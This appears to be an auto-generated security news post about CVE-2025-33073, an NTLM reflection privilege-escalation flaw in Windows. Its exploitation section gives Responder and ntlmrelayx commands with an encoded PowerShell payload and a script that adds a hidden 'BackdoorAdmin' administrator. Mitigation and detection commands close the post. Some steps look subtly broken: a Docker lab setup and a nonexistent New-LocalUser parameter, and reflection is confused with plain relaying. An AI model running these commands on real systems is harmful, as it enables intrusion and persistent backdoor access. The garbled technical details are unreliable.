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A critical vulnerability (CVE-2025-33073) enables NTLM reflection attacks, bypassing existing mitigations. This flaw allows authenticated attackers to execute arbitrary commands as SYSTEM on unpatched Windows systems without SMB signing enforcement.
Reference: Synacktiv
You Should Know:
1. Vulnerability Details
- Target: Windows systems with SMB signing disabled.
- Impact: Privilege escalation to SYSTEM via NTLM credential reflection.
- Patch Status: Microsoft released updates; apply them immediately.
2. Lab Setup for Reproduction
Create a vulnerable Windows Server (e.g., Windows Server 2019) docker run --name vuln-smb -it mcr.microsoft.com/windows/server:ltsc2019
3. Exploitation Steps
Step 1: Verify SMB Signing Status
On the target machine: Get-SmbServerConfiguration | Select-Object RequireSecuritySignature
If `RequireSecuritySignature` is `False`, the system is vulnerable.
Step 2: Trigger NTLM Reflection
On attacker machine (Kali Linux): responder -I eth0 -wF
Capture NTLMv2 hashes and relay them using:
ntlmrelayx.py -t smb://<TARGET_IP> -c "powershell -enc <BASE64_PAYLOAD>"
Step 3: Execute Arbitrary Commands
Example payload to add a backdoor user:
$pass = ConvertTo-SecureString 'HackMe123!' -AsPlainText -Force New-LocalUser -Name "BackdoorAdmin" -Password $pass -AddToAdministrators
4. Mitigation Commands
Enforce SMB Signing (Windows)
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Block NTLM via GPO
Disable NTLM authentication: Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 5
Linux Detection (Wireshark Filter)
tshark -i eth0 -Y "ntlmssp.auth" -V
What Undercode Say
This exploit highlights the dangers of misconfigured SMB protocols. Key takeaways:
– Patch immediately: Unpatched systems are low-hanging fruit.
– Enforce SMB signing: Critical for enterprise environments.
– Monitor NTLM traffic: Use SIEM rules to detect relay attempts.
Relevant Commands for Blue Teams:
Audit NTLM events on Windows: Get-WinEvent -LogName "Security" -FilterXPath '[System[EventID=4624]] and [EventData[Data[@Name="AuthenticationPackageName"]="NTLM"]]'
Linux-based detection (Zeek): zeek -C -r smb_traffic.pcap protocols/smb
Expected Output:
Successful exploitation yields SYSTEM access, while mitigation commands harden the system against such attacks.
Prediction
NTLM-based attacks will persist until enterprises fully migrate to Kerberos or certificate-based auth. Expect more CVEs targeting legacy auth protocols in 2025.
IT/Security Reporter URL:
Reported By: Brahimayadhi Just – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
